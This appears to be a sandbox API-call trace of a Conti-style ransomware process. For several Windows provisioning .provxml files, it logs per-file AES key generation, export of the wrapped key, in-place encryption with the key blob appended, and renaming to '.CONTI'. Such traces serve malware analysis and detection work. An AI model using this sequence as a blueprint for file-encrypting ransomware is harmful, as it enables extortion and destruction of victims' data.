	[0112.546] CryptExportKey (in: hKey=0x17c7bb0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b22c4, pdwDataLen=0x4bffe94 | out: pbData=0x65b22c4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0112.547] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.831] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0112.832] GetLastError () returned 0x0
	[0112.832] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=726) returned 1
	[0112.832] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6
	[0112.832] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.832] SetEndOfFile (hFile=0x3e0) returned 1
	[0112.832] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.832] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.832] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b22c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65b22c4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.834] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.834] ReadFile (in: hFile=0x3e0, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2d6, lpOverlapped=0x0) returned 1
	[0112.834] CryptEncrypt (in: hKey=0x17c7bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2d6, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2e0) returned 1
	[0112.834] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.834] WriteFile (in: hFile=0x3e0, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.834] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.834] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b22b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65b22b8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.834] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.834] CloseHandle (hObject=0x3e0) returned 1
	[0112.835] GetProcessHeap () returned 0x1720000
	[0112.835] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.274] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml"
	[0113.274] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.274] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.275] GetProcessHeap () returned 0x1720000
	[0113.275] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.275] CryptDestroyKey (hKey=0x17c7bb0) returned 1
	[0113.275] GetProcessHeap () returned 0x1720000
	[0113.275] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18165d8 | out: hHeap=0x1720000) returned 1
	[0113.275] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0113.275] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c5348 | out: phKey=0x17c5348*=0x17c77f0) returned 1
	[0113.275] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c534c, pdwDataLen=0x4bffe94 | out: pbData=0x17c534c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0113.276] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.276] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0113.276] GetLastError () returned 0x0
	[0113.276] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=714) returned 1
	[0113.276] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0113.276] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.276] SetEndOfFile (hFile=0x408) returned 1
	[0113.277] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.277] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.277] WriteFile (in: hFile=0x408, lpBuffer=0x17c534c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c534c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.283] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.283] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2ca, lpOverlapped=0x0) returned 1
	[0113.283] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2ca, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2d0) returned 1
	[0113.283] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.283] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.283] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.283] WriteFile (in: hFile=0x408, lpBuffer=0x17c5340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17c5340*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.283] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.283] CloseHandle (hObject=0x408) returned 1
	[0113.283] GetProcessHeap () returned 0x1720000
	[0113.284] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.284] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.284] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.284] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.284] GetProcessHeap () returned 0x1720000
	[0113.284] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.284] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0113.284] GetProcessHeap () returned 0x1720000
	[0113.284] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d81a8 | out: hHeap=0x1720000) returned 1
	[0113.284] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0113.285] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c57d8 | out: phKey=0x17c57d8*=0x17c78b0) returned 1
	[0113.285] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c57dc, pdwDataLen=0x4bffe94 | out: pbData=0x17c57dc*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0113.285] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.285] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0113.286] GetLastError () returned 0x0
	[0113.286] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=713) returned 1
	[0113.286] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0113.286] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.286] SetEndOfFile (hFile=0x408) returned 1
	[0113.286] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.286] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.286] WriteFile (in: hFile=0x408, lpBuffer=0x17c57dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c57dc*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.291] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.291] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2c9, lpOverlapped=0x0) returned 1
	[0113.291] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2c9, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2d0) returned 1
	[0113.291] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.291] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.291] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.291] WriteFile (in: hFile=0x408, lpBuffer=0x17c57d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17c57d0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.291] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.291] CloseHandle (hObject=0x408) returned 1
	[0113.291] GetProcessHeap () returned 0x1720000
	[0113.291] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.291] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.292] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.292] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.295] GetProcessHeap () returned 0x1720000
	[0113.295] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.295] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0113.295] GetProcessHeap () returned 0x1720000
	[0113.295] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bab38 | out: hHeap=0x1720000) returned 1
	[0113.295] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0113.295] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c77f0) returned 1
	[0113.295] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x4bffe94 | out: pbData=0x17d4fa4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0113.296] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.296] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0113.297] GetLastError () returned 0x0
	[0113.297] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=719) returned 1
	[0113.297] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0113.297] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.297] SetEndOfFile (hFile=0x408) returned 1
	[0113.297] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.297] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.297] WriteFile (in: hFile=0x408, lpBuffer=0x17d4fa4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d4fa4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.299] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.299] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2cf, lpOverlapped=0x0) returned 1
	[0113.299] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2cf, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2d0) returned 1
	[0113.299] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.299] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.299] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.299] WriteFile (in: hFile=0x408, lpBuffer=0x17d4f98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d4f98*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.299] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.299] CloseHandle (hObject=0x408) returned 1
	[0113.299] GetProcessHeap () returned 0x1720000
	[0113.299] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
